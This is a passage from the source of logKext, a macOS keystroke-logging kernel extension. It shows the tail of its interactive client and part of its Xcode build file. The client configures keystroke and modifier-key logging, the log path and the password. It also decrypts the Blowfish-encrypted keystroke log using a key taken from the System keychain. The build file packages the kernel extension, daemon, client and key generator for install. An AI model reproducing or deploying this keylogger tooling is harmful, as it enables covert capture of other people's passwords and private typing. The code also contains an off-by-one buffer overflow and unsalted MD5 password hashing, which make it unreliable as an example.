239 | if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,0),CFSTR("set"),0)==kCFCompareEqualTo)
240 | {
241 | if (CFArrayGetCount(stringParts)==1)
242 | {
243 | printf("\nUse 'set variable=value' to set change your preferences.\n");
244 | printf("Type 'info' to get information on all preference variables and possible values.\n");
245 | printf("Use 'list' to get current values of your preference variables.\n\n");
246 | continue;
247 | }
248 |
249 | CFArrayRef setParts = CFStringCreateArrayBySeparatingStrings(kCFAllocatorDefault,(CFStringRef)CFArrayGetValueAtIndex(stringParts,1),CFSTR("="));
250 | if (CFArrayGetCount(setParts)!=2)
251 | {
252 | printf("\nUse 'set variable=value' to set change your preferences.\n");
253 | printf("Type 'info' to get information on all preference variables and possible values.\n");
254 | printf("Use 'list' to get current values of your preference variables.\n\n");
255 | continue;
256 | }
257 |
258 | if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,0),CFSTR("Logging"),0)==kCFCompareEqualTo)
259 | {
260 | if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,1),CFSTR("on"),0)==kCFCompareEqualTo)
261 | {
262 | CFPreferencesSetAppValue(CFSTR("Logging"),kCFBooleanTrue,PREF_DOMAIN);
263 | printf("\nValue set to on.\n");
264 | }
265 | else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,1),CFSTR("off"),0)==kCFCompareEqualTo)
266 | {
267 | CFPreferencesSetAppValue(CFSTR("Logging"),kCFBooleanFalse,PREF_DOMAIN);
268 | printf("\nValue set to off.\n");
269 | }
270 | else
271 | {
272 | printf("Logging controls whether the daemon is logging keystrokes (default is on).\n");
273 | printf("Possible Values: on/off\n");
274 | }
275 | }
276 | else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,0),CFSTR("MinMeg"),0)==kCFCompareEqualTo)
277 | {
278 | CFNumberFormatterRef nFrm = CFNumberFormatterCreate(kCFAllocatorDefault,CFLocaleCopyCurrent(),kCFNumberFormatterNoStyle);
279 | CFNumberRef outNum = CFNumberFormatterCreateNumberFromString(kCFAllocatorDefault,nFrm,(CFStringRef)CFArrayGetValueAtIndex(setParts,1),NULL,kCFNumberFormatterParseIntegersOnly);
280 | int megDef = DEFAULT_MEG;
281 | CFNumberRef megDefNum = CFNumberCreate(kCFAllocatorDefault,kCFNumberIntType,&megDef);
282 | if (CFNumberCompare(outNum,megDefNum,NULL)==kCFCompareLessThan)
283 | CFPreferencesSetAppValue(CFSTR("MinMeg"),megDefNum,PREF_DOMAIN);
284 | else
285 | CFPreferencesSetAppValue(CFSTR("MinMeg"),outNum,PREF_DOMAIN);
286 | int outNumInt;
287 | CFNumberGetValue(outNum,kCFNumberIntType,&outNumInt);
288 | printf("Value set to %d\n",outNumInt);
289 | }
290 | else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,0),CFSTR("LogPath"),0)==kCFCompareEqualTo)
291 | {
292 | CFStringRef newVal = (CFStringRef)CFArrayGetValueAtIndex(setParts,1);
293 | CFPreferencesSetAppValue(CFSTR("Pathname"),newVal,PREF_DOMAIN);
294 | printf("\nLogfile location changed to %s\nDelete your old logfile for this to take effect.\n", CFStringGetCStringPtr(newVal,CFStringGetFastestEncoding(newVal)));
295 | }
296 | else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,0),CFSTR("Password"),0)==kCFCompareEqualTo)
297 | {
298 | unsigned char md5[16];
299 | MD5((unsigned char*)CFStringGetCStringPtr((CFStringRef)CFArrayGetValueAtIndex(setParts,1),CFStringGetFastestEncoding((CFStringRef)CFArrayGetValueAtIndex(setParts,1))),CFStringGetLength((CFStringRef)CFArrayGetValueAtIndex(setParts,1)),md5);
300 | char hash[32];
301 | for (int i=0; i< 16; i++)
302 | sprintf(hash+2*i,"%02x",md5[i]);
303 |
304 | CFPreferencesSetAppValue(CFSTR("Password"),CFStringCreateWithCString(kCFAllocatorDefault,hash,kCFStringEncodingASCII),PREF_DOMAIN);
305 | printf("\nPassword changed.\nDelete your logfile for this to take effect. A new logfile will be created encrypted with your new password.\n");
306 | }
307 | else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,0),CFSTR("Encrypt"),0)==kCFCompareEqualTo)
308 | {
309 | if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,1),CFSTR("on"),0)==kCFCompareEqualTo)
310 | {
311 | CFPreferencesSetAppValue(CFSTR("Encrypt"),kCFBooleanTrue,PREF_DOMAIN);
312 | printf("\nValue set to on.\nDelete your logfile for this to take effect.\n");
313 | }
314 | else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,1),CFSTR("off"),0)==kCFCompareEqualTo)
315 | {
316 | CFPreferencesSetAppValue(CFSTR("Encrypt"),kCFBooleanFalse,PREF_DOMAIN);
317 | printf("\nValue set to off.\nDelete your logfile for this to take effect.\n");
318 | }
319 | else
320 | {
321 | printf("Encrypt controls whether or not the logfile will be encrypted or cleartext.\n");
322 | printf("Possible Values: on/off\n");
323 | }
324 | }
325 | else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,0),CFSTR("Mods"),0)==kCFCompareEqualTo)
326 | {
327 | if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,1),CFSTR("on"),0)==kCFCompareEqualTo)
328 | {
329 | CFPreferencesSetAppValue(CFSTR("Mods"),kCFBooleanTrue,PREF_DOMAIN);
330 | printf("\nValue set to on.\nDelete your logfile for this to take effect.\n");
331 | }
332 | else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,1),CFSTR("off"),0)==kCFCompareEqualTo)
333 | {
334 | CFPreferencesSetAppValue(CFSTR("Mods"),kCFBooleanFalse,PREF_DOMAIN);
335 | printf("\nValue set to off.\nDelete your logfile for this to take effect.\n");
336 | }
337 | else
338 | {
339 | printf("Mods controls whether or not modifier keys are logged in the logfile.\n--Modifier keys are non-character keys like and .\n");
340 | printf("Possible Values: on/off\n");
341 | }
342 | }
343 | else
344 | {
345 | printf("\nUse 'set variable=value' to set change your preferences.\n");
346 | printf("Type 'info' to get information on all preference variables and possible values.\n");
347 | printf("Use 'list' to get current values of your preference variables.\n\n");
348 | }
349 | CFPreferencesAppSynchronize(PREF_DOMAIN);
350 | continue;
351 | }
352 | }
353 | return 0;
354 | }
355 |
356 | void PrintLogfileStatus()
357 | {
358 | CFStringRef pathName = (CFStringRef)CFPreferencesCopyAppValue(CFSTR("Pathname"),PREF_DOMAIN);
359 |
360 | struct stat fileStat;
361 | printf("\nCurrent logfile status: ");
362 | if (stat(CFStringGetCStringPtr(pathName,CFStringGetFastestEncoding(pathName)),&fileStat))
363 | printf("File does not exist.\n");
364 | else
365 | {
366 | if (fileStat.st_size<1024)
367 | printf("%lld bytes.\n",(long long)fileStat.st_size);
368 | else if (fileStat.st_size<(1024*1024))
369 | printf("%lld kilobytes.\n",(long long)fileStat.st_size/1024);
370 | else if (fileStat.st_size<(1024*1024*1024))
371 | printf("%lld megabytes.\n",(long long)fileStat.st_size/(1024*1024));
372 | else
373 | printf("%lld gigabytes.\n",(long long)fileStat.st_size/(1024*1024*1024));
374 | }
375 | }
376 |
377 | bool prefsOK() // non-exhaustive check
378 | {
379 | CFStringRef password = (CFStringRef)CFPreferencesCopyAppValue(CFSTR("Password"),PREF_DOMAIN);
380 | if (!password)
381 | return false;
382 | return true;
383 | }
384 |
385 | bool verify_pass()
386 | {
387 | char *clear_pass = getpass("logKext Password:");
388 |
389 | unsigned char md5[16];
390 | MD5((unsigned char*)clear_pass,strlen(clear_pass),md5);
391 | char hash[32];
392 | for (int i=0; i< 16; i++)
393 | sprintf(hash+2*i,"%02x",md5[i]);
394 |
395 | CFStringRef password = (CFStringRef)CFPreferencesCopyAppValue(CFSTR("Password"),PREF_DOMAIN);
396 | CFStringRef userPass = CFStringCreateWithCString(kCFAllocatorDefault,hash,kCFStringEncodingASCII);
397 |
398 | if (CFStringCompare(password,userPass,0)!=kCFCompareEqualTo)
399 | {
400 | printf("Incorrect Password\n");
401 | return false;
402 | }
403 | return true;
404 | }
405 |
406 | void print_usage()
407 | {
408 | printf("\nLogKext v2.2 Interactive Client");
409 | printf("\nCommands:\n");
410 | printf("list:\tLists all current daemon preference variable values.\n");
411 | printf("open:\tOpens (and decrypts if necessary) logfile.\n");
412 | printf("print:\tPrints to terminal (and decrypts if necessary) logfile.\n");
413 | printf("help:\tShows this help screen.\n");
414 | printf("info:\tGives information on a preference variable.\n");
415 | printf("\tUsage: \'info variable\'\n");
416 | printf("set:\tSets new daemon preference variable value.\n");
417 | printf("\tUsage: \'set variable=value\'\n");
418 | printf("quit:\tQuits client.\n\n");
419 | }
420 |
421 | bool notAscii(char in)
422 | {
423 | return (in < 9 || in > 126);
424 | }
425 |
426 | CFStringRef decrypt_file(CFStringRef pathName)
427 | {
428 | Boolean validKey;
429 | Boolean doEncrypt = CFPreferencesGetAppBooleanValue(CFSTR("Encrypt"),PREF_DOMAIN,&validKey);
430 |
431 | CFMutableStringRef outFile = CFStringCreateMutable(kCFAllocatorDefault,0);
432 | CFReadStreamRef readStream = CFReadStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false));
433 | if (!readStream||!(CFReadStreamOpen(readStream)))
434 | return NULL;
435 |
436 | CFMutableDataRef fileData = CFDataCreateMutable(kCFAllocatorDefault,8);
437 |
438 | while (CFReadStreamHasBytesAvailable(readStream))
439 | {
440 | CFReadStreamRead(readStream,CFDataGetMutableBytePtr(fileData),8);
441 | if (doEncrypt)
442 | {
443 | CFMutableDataRef plainData = CFDataCreateMutable(kCFAllocatorDefault,8);
444 | BF_ecb_encrypt(CFDataGetBytePtr(fileData),CFDataGetMutableBytePtr(plainData),&encrypt_bf_key,BF_DECRYPT);
445 |
446 | // this prevents screwed up strings from corrupting the logfile
447 | unsigned char* bytePtr = (unsigned char*)CFDataGetBytePtr(plainData);
448 | bool isAscii = true;
449 | for (int i=0;i<8;i++)
450 | if (notAscii(bytePtr[i]))
451 | isAscii = false;
452 | if (isAscii)
453 | CFStringAppend(outFile,CFStringCreateWithBytes(kCFAllocatorDefault,CFDataGetBytePtr(plainData),8,kCFStringEncodingASCII,false));
454 | }
455 | else
456 | {
457 | CFStringAppend(outFile,CFStringCreateWithBytes(kCFAllocatorDefault,CFDataGetBytePtr(fileData),8,kCFStringEncodingASCII,false));
458 | }
459 | }
460 | CFReadStreamClose(readStream);
461 | return outFile;
462 | }
463 |
464 | long file_length(CFStringRef pathName)
465 | {
466 | FILE * logFile;
467 | struct stat fileStat;
468 | if (stat(CFStringGetCStringPtr(pathName,CFStringGetFastestEncoding(pathName)),&fileStat))
469 | return 0;
470 | else
471 | logFile = fopen(CFStringGetCStringPtr(pathName,CFStringGetFastestEncoding(pathName)),"r");
472 |
473 | if (!logFile)
474 | return 0;
475 |
476 | fseek(logFile,0,SEEK_END);
477 | long file_length = ftell(logFile);
478 | rewind(logFile);
479 | fclose(logFile);
480 |
481 | return file_length;
482 | }
483 |
484 | void makeEncryptKey()
485 | {
486 | SecKeychainRef sysChain;
487 | OSStatus secRes = SecKeychainOpen("/Library/Keychains/System.keychain", &sysChain);
488 | if (secRes)
489 | {
490 | printf("Couldn't get system keychain: %d\n",secRes);
491 | return;
492 | }
493 |
494 | CFStringRef password = (CFStringRef)CFPreferencesCopyAppValue(CFSTR("Password"),PREF_DOMAIN);
495 | if (!password)
496 | return;
497 |
498 | UInt32 passLen;
499 | void* passData;
500 | secRes = SecKeychainFindGenericPassword(sysChain, strlen("logKextPassKey"), "logKextPassKey", NULL, NULL, &passLen, &passData, NULL);
501 | if (secRes)
502 | {
503 | printf("Error finding passKey in keychain (%d). Failing\n",secRes);
504 | exit(-1);
505 | }
506 | /*
507 | printf("Using encryption key %02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x\n",
508 | ((char*)passData)[0]&0xff,((char*)passData)[1]&0xff,((char*)passData)[2]&0xff,((char*)passData)[3]&0xff,
509 | ((char*)passData)[4]&0xff,((char*)passData)[5]&0xff,((char*)passData)[6]&0xff,((char*)passData)[7]&0xff,
510 | ((char*)passData)[8]&0xff,((char*)passData)[9]&0xff,((char*)passData)[10]&0xff,((char*)passData)[11]&0xff,
511 | ((char*)passData)[12]&0xff,((char*)passData)[13]&0xff,((char*)passData)[14]&0xff,((char*)passData)[15]&0xff);
512 | */
513 | BF_KEY temp_key;
514 | BF_set_key(&temp_key,passLen,(unsigned char*)passData);
515 | unsigned char *encrypt_key = new unsigned char[8];
516 | BF_ecb_encrypt((const unsigned char*)CFStringGetCStringPtr(password,CFStringGetFastestEncoding(password)),encrypt_key,&temp_key,BF_ENCRYPT);
517 | BF_set_key(&encrypt_bf_key,8,encrypt_key);
518 |
519 | return;
520 | }
521 |
--------------------------------------------------------------------------------
/logKext.xcodeproj/project.pbxproj:
--------------------------------------------------------------------------------
1 | // !$*UTF8*$!
2 | {
3 | archiveVersion = 1;
4 | classes = {
5 | };
6 | objectVersion = 42;
7 | objects = {
8 |
9 | /* Begin PBXBuildFile section */
10 | 32D94FC80562CBF700B6AF17 /* InfoPlist.strings in Resources */ = {isa = PBXBuildFile; fileRef = 089C167DFE841241C02AAC07 /* InfoPlist.strings */; };
11 | 63EED3E110B4F81E005515A9 /* logKextDaemon in Copy Daemon */ = {isa = PBXBuildFile; fileRef = 63EED29B10B4EC21005515A9 /* logKextDaemon */; };
12 | 63EED3E410B4F823005515A9 /* logKextClient in Copy Client */ = {isa = PBXBuildFile; fileRef = 63EED2A310B4EC21005515A9 /* logKextClient */; };
13 | 63EED3E510B4F829005515A9 /* logKextKeyGen in Copy KeyGen */ = {isa = PBXBuildFile; fileRef = 63EED2AB10B4EC21005515A9 /* logKextKeyGen */; };
14 | F82A259E08EDD8F90077C8EA /* logKext.cpp in Sources */ = {isa = PBXBuildFile; fileRef = F82A259B08EDD8F90077C8EA /* logKext.cpp */; };
15 | F82A259F08EDD8F90077C8EA /* logKext.h in Headers */ = {isa = PBXBuildFile; fileRef = F82A259C08EDD8F90077C8EA /* logKext.h */; };
16 | F82A25A008EDD8F90077C8EA /* logKext_UC.cpp in Sources */ = {isa = PBXBuildFile; fileRef = F82A259D08EDD8F90077C8EA /* logKext_UC.cpp */; };
17 | F82A25A208EDD8FD0077C8EA /* logKextKeys.h in Headers */ = {isa = PBXBuildFile; fileRef = F82A25A108EDD8FD0077C8EA /* logKextKeys.h */; };
18 | F82A25A408EDD9020077C8EA /* logKextCommon.h in Headers */ = {isa = PBXBuildFile; fileRef = F82A25A308EDD9020077C8EA /* logKextCommon.h */; };
19 | F890ACBD0D22FF2900A9C9B9 /* logKext.kext in Copy Extension */ = {isa = PBXBuildFile; fileRef = 32D94FD00562CBF700B6AF17 /* logKext.kext */; };
20 | /* End PBXBuildFile section */
21 |
22 | /* Begin PBXContainerItemProxy section */
23 | 63EED29A10B4EC21005515A9 /* PBXContainerItemProxy */ = {
24 | isa = PBXContainerItemProxy;
25 | containerPortal = F86CC38B0D12DF530038E494 /* logKextDaemon.xcodeproj */;
26 | proxyType = 2;
27 | remoteGlobalIDString = 8DD76F7E0486A8DE00D96B5E;
28 | remoteInfo = logKextDaemon;
29 | };
30 | 63EED2A210B4EC21005515A9 /* PBXContainerItemProxy */ = {
31 | isa = PBXContainerItemProxy;
32 | containerPortal = F86CC3A10D12DF8A0038E494 /* logKextClient.xcodeproj */;
33 | proxyType = 2;
34 | remoteGlobalIDString = 8DD76F7E0486A8DE00D96B5E;
35 | remoteInfo = logKextClient;
36 | };
37 | 63EED2AA10B4EC21005515A9 /* PBXContainerItemProxy */ = {
38 | isa = PBXContainerItemProxy;
39 | containerPortal = F8A3F9540D3315D30073D03B /* logKextKeyGen.xcodeproj */;
40 | proxyType = 2;
41 | remoteGlobalIDString = 8DD76F7E0486A8DE00D96B5E;
42 | remoteInfo = logKextKeyGen;
43 | };
44 | 63EED2B110B4EC8D005515A9 /* PBXContainerItemProxy */ = {
45 | isa = PBXContainerItemProxy;
46 | containerPortal = F86CC38B0D12DF530038E494 /* logKextDaemon.xcodeproj */;
47 | proxyType = 1;
48 | remoteGlobalIDString = 8DD76F740486A8DE00D96B5E;
49 | remoteInfo = logKextDaemon;
50 | };
51 | 63EED2B310B4EC8F005515A9 /* PBXContainerItemProxy */ = {
52 | isa = PBXContainerItemProxy;
53 | containerPortal = F86CC3A10D12DF8A0038E494 /* logKextClient.xcodeproj */;
54 | proxyType = 1;
55 | remoteGlobalIDString = 8DD76F740486A8DE00D96B5E;
56 | remoteInfo = logKextClient;
57 | };
58 | 63EED2B710B4EC93005515A9 /* PBXContainerItemProxy */ = {
59 | isa = PBXContainerItemProxy;
60 | containerPortal = F8A3F9540D3315D30073D03B /* logKextKeyGen.xcodeproj */;
61 | proxyType = 1;
62 | remoteGlobalIDString = 8DD76F740486A8DE00D96B5E;
63 | remoteInfo = logKextKeyGen;
64 | };
65 | /* End PBXContainerItemProxy section */
66 |
67 | /* Begin PBXCopyFilesBuildPhase section */
68 | F890ACBC0D22FCA100A9C9B9 /* Copy Extension */ = {
69 | isa = PBXCopyFilesBuildPhase;
70 | buildActionMask = 2147483647;
71 | dstPath = ../packageGen/Package_contents/kext;
72 | dstSubfolderSpec = 16;
73 | files = (
74 | F890ACBD0D22FF2900A9C9B9 /* logKext.kext in Copy Extension */,
75 | );
76 | name = "Copy Extension";
77 | runOnlyForDeploymentPostprocessing = 0;
78 | };
79 | F890ACBF0D22FF4100A9C9B9 /* Copy Daemon */ = {
80 | isa = PBXCopyFilesBuildPhase;
81 | buildActionMask = 2147483647;
82 | dstPath = "../packageGen/Package_contents/Library/Application Support/logKext";
83 | dstSubfolderSpec = 16;
84 | files = (
85 | 63EED3E110B4F81E005515A9 /* logKextDaemon in Copy Daemon */,
86 | );
87 | name = "Copy Daemon";
88 | runOnlyForDeploymentPostprocessing = 0;
89 | };
90 | F890ACCE0D22FF9C00A9C9B9 /* Copy Client */ = {
91 | isa = PBXCopyFilesBuildPhase;
92 | buildActionMask = 2147483647;
93 | dstPath = ../packageGen/Package_contents/usr/bin;
94 | dstSubfolderSpec = 16;
95 | files = (
96 | 63EED3E410B4F823005515A9 /* logKextClient in Copy Client */,
97 | );
98 | name = "Copy Client";
99 | runOnlyForDeploymentPostprocessing = 0;
100 | };
101 | F8C99C750D33D2E2009A32D9 /* Copy KeyGen */ = {
102 | isa = PBXCopyFilesBuildPhase;
103 | buildActionMask = 2147483647;
104 | dstPath = "../packageGen/Package_contents/Library/Application Support/logKext";
105 | dstSubfolderSpec = 16;
106 | files = (
107 | 63EED3E510B4F829005515A9 /* logKextKeyGen in Copy KeyGen */,
108 | );
109 | name = "Copy KeyGen";
110 | runOnlyForDeploymentPostprocessing = 0;
111 | };
112 | /* End PBXCopyFilesBuildPhase section */
113 |
114 | /* Begin PBXFileReference section */
115 | 089C167EFE841241C02AAC07 /* English */ = {isa = PBXFileReference; fileEncoding = 10; lastKnownFileType = text.plist.strings; name = English; path = English.lproj/InfoPlist.strings; sourceTree = ""; };
116 | 32D94FCF0562CBF700B6AF17 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; };
117 | 32D94FD00562CBF700B6AF17 /* logKext.kext */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = logKext.kext; sourceTree = BUILT_PRODUCTS_DIR; };
118 | 8DA8362C06AD9B9200E5AC22 /* Kernel.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Kernel.framework; path = /System/Library/Frameworks/Kernel.framework; sourceTree = ""; };
119 | F82A259B08EDD8F90077C8EA /* logKext.cpp */ = {isa = PBXFileReference; fileEncoding = 30; lastKnownFileType = sourcecode.cpp.cpp; path = logKext.cpp; sourceTree = ""; };
120 | F82A259C08EDD8F90077C8EA /* logKext.h */ = {isa = PBXFileReference; fileEncoding = 30; lastKnownFileType = sourcecode.c.h; path = logKext.h; sourceTree = ""; };
121 | F82A259D08EDD8F90077C8EA /* logKext_UC.cpp */ = {isa = PBXFileReference; fileEncoding = 30; lastKnownFileType = sourcecode.cpp.cpp; path = logKext_UC.cpp; sourceTree = ""; };
122 | F82A25A108EDD8FD0077C8EA /* logKextKeys.h */ = {isa = PBXFileReference; fileEncoding = 30; lastKnownFileType = sourcecode.c.h; path = logKextKeys.h; sourceTree = ""; };
123 | F82A25A308EDD9020077C8EA /* logKextCommon.h */ = {isa = PBXFileReference; fileEncoding = 30; lastKnownFileType = sourcecode.c.h; path = logKextCommon.h; sourceTree = ""; };
124 | F86CC38B0D12DF530038E494 /* logKextDaemon.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.pb-project"; path = logKextDaemon.xcodeproj; sourceTree = ""; };
125 | F86CC3A10D12DF8A0038E494 /* logKextClient.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.pb-project"; path = logKextClient.xcodeproj; sourceTree = ""; };
126 | F8A3F9540D3315D30073D03B /* logKextKeyGen.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.pb-project"; path = logKextKeyGen.xcodeproj; sourceTree = ""; };
127 | /* End PBXFileReference section */
128 |
129 | /* Begin PBXFrameworksBuildPhase section */
130 | 32D94FCB0562CBF700B6AF17 /* Frameworks */ = {
131 | isa = PBXFrameworksBuildPhase;
132 | buildActionMask = 2147483647;
133 | files = (
134 | );
135 | runOnlyForDeploymentPostprocessing = 0;
136 | };
137 | /* End PBXFrameworksBuildPhase section */
138 |
139 | /* Begin PBXGroup section */
140 | 089C166AFE841209C02AAC07 /* logKext */ = {
141 | isa = PBXGroup;
142 | children = (
143 | 63EED29010B4EC16005515A9 /* External Frameworks and Libraries */,
144 | 247142CAFF3F8F9811CA285C /* Source */,
145 | 8DA8362C06AD9B9200E5AC22 /* Kernel.framework */,
146 | 089C167CFE841241C02AAC07 /* Resources */,
147 | 19C28FB6FE9D52B211CA2CBB /* Products */,
148 | );
149 | name = logKext;
150 | sourceTree = "";
151 | };
152 | 089C167CFE841241C02AAC07 /* Resources */ = {
153 | isa = PBXGroup;
154 | children = (
155 | 32D94FCF0562CBF700B6AF17 /* Info.plist */,
156 | 089C167DFE841241C02AAC07 /* InfoPlist.strings */,
157 | );
158 | name = Resources;
159 | sourceTree = "";
160 | };
161 | 19C28FB6FE9D52B211CA2CBB /* Products */ = {
162 | isa = PBXGroup;
163 | children = (
164 | 32D94FD00562CBF700B6AF17 /* logKext.kext */,
165 | );
166 | name = Products;
167 | sourceTree = "";
168 | };
169 | 247142CAFF3F8F9811CA285C /* Source */ = {
170 | isa = PBXGroup;
171 | children = (
172 | F82A259B08EDD8F90077C8EA /* logKext.cpp */,
173 | F82A259C08EDD8F90077C8EA /* logKext.h */,
174 | F82A25A308EDD9020077C8EA /* logKextCommon.h */,
175 | F82A25A108EDD8FD0077C8EA /* logKextKeys.h */,
176 | F82A259D08EDD8F90077C8EA /* logKext_UC.cpp */,
177 | );
178 | name = Source;
179 | sourceTree = "";
180 | };
181 | 63EED29010B4EC16005515A9 /* External Frameworks and Libraries */ = {
182 | isa = PBXGroup;
183 | children = (
184 | F86CC38B0D12DF530038E494 /* logKextDaemon.xcodeproj */,
185 | F86CC3A10D12DF8A0038E494 /* logKextClient.xcodeproj */,
186 | F8A3F9540D3315D30073D03B /* logKextKeyGen.xcodeproj */,
187 | );
188 | name = "External Frameworks and Libraries";
189 | sourceTree = "";
190 | };
191 | 63EED29710B4EC21005515A9 /* Products */ = {
192 | isa = PBXGroup;
193 | children = (
194 | 63EED29B10B4EC21005515A9 /* logKextDaemon */,
195 | );
196 | name = Products;
197 | sourceTree = "";
198 | };
199 | 63EED29F10B4EC21005515A9 /* Products */ = {
200 | isa = PBXGroup;
201 | children = (
202 | 63EED2A310B4EC21005515A9 /* logKextClient */,
203 | );
204 | name = Products;
205 | sourceTree = "";
206 | };
207 | 63EED2A710B4EC21005515A9 /* Products */ = {
208 | isa = PBXGroup;
209 | children = (
210 | 63EED2AB10B4EC21005515A9 /* logKextKeyGen */,
211 | );
212 | name = Products;
213 | sourceTree = "";
214 | };
215 | /* End PBXGroup section */
216 |
217 | /* Begin PBXHeadersBuildPhase section */
218 | 32D94FC50562CBF700B6AF17 /* Headers */ = {
219 | isa = PBXHeadersBuildPhase;
220 | buildActionMask = 2147483647;
221 | files = (
222 | F82A259F08EDD8F90077C8EA /* logKext.h in Headers */,
223 | F82A25A208EDD8FD0077C8EA /* logKextKeys.h in Headers */,
224 | F82A25A408EDD9020077C8EA /* logKextCommon.h in Headers */,
225 | );
226 | runOnlyForDeploymentPostprocessing = 0;
227 | };
228 | /* End PBXHeadersBuildPhase section */
229 |
230 | /* Begin PBXNativeTarget section */
231 | 32D94FC30562CBF700B6AF17 /* logKext */ = {
232 | isa = PBXNativeTarget;
233 | buildConfigurationList = F861090209283D43003C3B7F /* Build configuration list for PBXNativeTarget "logKext" */;
234 | buildPhases = (
235 | 32D94FC50562CBF700B6AF17 /* Headers */,
236 | 32D94FC70562CBF700B6AF17 /* Resources */,
237 | 32D94FC90562CBF700B6AF17 /* Sources */,
238 | 32D94FCB0562CBF700B6AF17 /* Frameworks */,
239 | 63EED37F10B4F354005515A9 /* Copy packageGen dir */,
240 | F890ACBC0D22FCA100A9C9B9 /* Copy Extension */,
241 | F890ACBF0D22FF4100A9C9B9 /* Copy Daemon */,
242 | F890ACCE0D22FF9C00A9C9B9 /* Copy Client */,
243 | F8C99C750D33D2E2009A32D9 /* Copy KeyGen */,
244 | F890ACE00D23006C00A9C9B9 /* Create package */,
245 | );
246 | buildRules = (
247 | );
248 | dependencies = (
249 | 63EED2B210B4EC8D005515A9 /* PBXTargetDependency */,
250 | 63EED2B410B4EC8F005515A9 /* PBXTargetDependency */,
251 | 63EED2B810B4EC93005515A9 /* PBXTargetDependency */,
252 | );
253 | name = logKext;
254 | productInstallPath = "$(SYSTEM_LIBRARY_DIR)/Extensions";
255 | productName = logKext;
256 | productReference = 32D94FD00562CBF700B6AF17 /* logKext.kext */;
257 | productType = "com.apple.product-type.kernel-extension.iokit";
258 | };
259 | /* End PBXNativeTarget section */
260 |
261 | /* Begin PBXProject section */
262 | 089C1669FE841209C02AAC07 /* Project object */ = {
263 | isa = PBXProject;
264 | attributes = {
265 | };
266 | buildConfigurationList = F861090609283D43003C3B7F /* Build configuration list for PBXProject "logKext" */;
267 | compatibilityVersion = "Xcode 2.4";
268 | developmentRegion = English;
269 | hasScannedForEncodings = 1;
270 | knownRegions = (
271 | en,
272 | );
273 | mainGroup = 089C166AFE841209C02AAC07 /* logKext */;
274 | projectDirPath = "";
275 | projectReferences = (
276 | {
277 | ProductGroup = 63EED29F10B4EC21005515A9 /* Products */;
278 | ProjectRef = F86CC3A10D12DF8A0038E494 /* logKextClient.xcodeproj */;
279 | },
280 | {
281 | ProductGroup = 63EED29710B4EC21005515A9 /* Products */;
282 | ProjectRef = F86CC38B0D12DF530038E494 /* logKextDaemon.xcodeproj */;
283 | },
284 | {
285 | ProductGroup = 63EED2A710B4EC21005515A9 /* Products */;
286 | ProjectRef = F8A3F9540D3315D30073D03B /* logKextKeyGen.xcodeproj */;
287 | },
288 | );
289 | projectRoot = "";
290 | targets = (
291 | 32D94FC30562CBF700B6AF17 /* logKext */,
292 | );
293 | };
294 | /* End PBXProject section */
295 |
296 | /* Begin PBXReferenceProxy section */
297 | 63EED29B10B4EC21005515A9 /* logKextDaemon */ = {
298 | isa = PBXReferenceProxy;
299 | fileType = "compiled.mach-o.executable";
300 | path = logKextDaemon;
301 | remoteRef = 63EED29A10B4EC21005515A9 /* PBXContainerItemProxy */;
302 | sourceTree = BUILT_PRODUCTS_DIR;
303 | };
304 | 63EED2A310B4EC21005515A9 /* logKextClient */ = {
305 | isa = PBXReferenceProxy;
306 | fileType = "compiled.mach-o.executable";
307 | path = logKextClient;
308 | remoteRef = 63EED2A210B4EC21005515A9 /* PBXContainerItemProxy */;
309 | sourceTree = BUILT_PRODUCTS_DIR;
310 | };
311 | 63EED2AB10B4EC21005515A9 /* logKextKeyGen */ = {
312 | isa = PBXReferenceProxy;
313 | fileType = "compiled.mach-o.executable";
314 | path = logKextKeyGen;
315 | remoteRef = 63EED2AA10B4EC21005515A9 /* PBXContainerItemProxy */;
316 | sourceTree = BUILT_PRODUCTS_DIR;
317 | };
318 | /* End PBXReferenceProxy section */
319 |
320 | /* Begin PBXResourcesBuildPhase section */
321 | 32D94FC70562CBF700B6AF17 /* Resources */ = {
322 | isa = PBXResourcesBuildPhase;
323 | buildActionMask = 2147483647;
324 | files = (
325 | 32D94FC80562CBF700B6AF17 /* InfoPlist.strings in Resources */,
326 | );
327 | runOnlyForDeploymentPostprocessing = 0;
328 | };
329 | /* End PBXResourcesBuildPhase section */
330 |
331 | /* Begin PBXShellScriptBuildPhase section */
332 | 63EED37F10B4F354005515A9 /* Copy packageGen dir */ = {
333 | isa = PBXShellScriptBuildPhase;
334 | buildActionMask = 2147483647;
335 | files = (
336 | );
337 | inputPaths = (
338 | );
339 | name = "Copy packageGen dir";
340 | outputPaths = (
341 | );
342 | runOnlyForDeploymentPostprocessing = 0;
343 | shellPath = /bin/bash;
344 | shellScript = "if [ ! -d $BUILD_DIR/packageGen ]; then\n\tcp -R $PROJECT_DIR/packageGen $BUILD_DIR/\nfi";
345 | };
346 | F890ACE00D23006C00A9C9B9 /* Create package */ = {
347 | isa = PBXShellScriptBuildPhase;
348 | buildActionMask = 2147483647;
349 | files = (
350 | );
351 | inputPaths = (
352 | );
353 | name = "Create package";
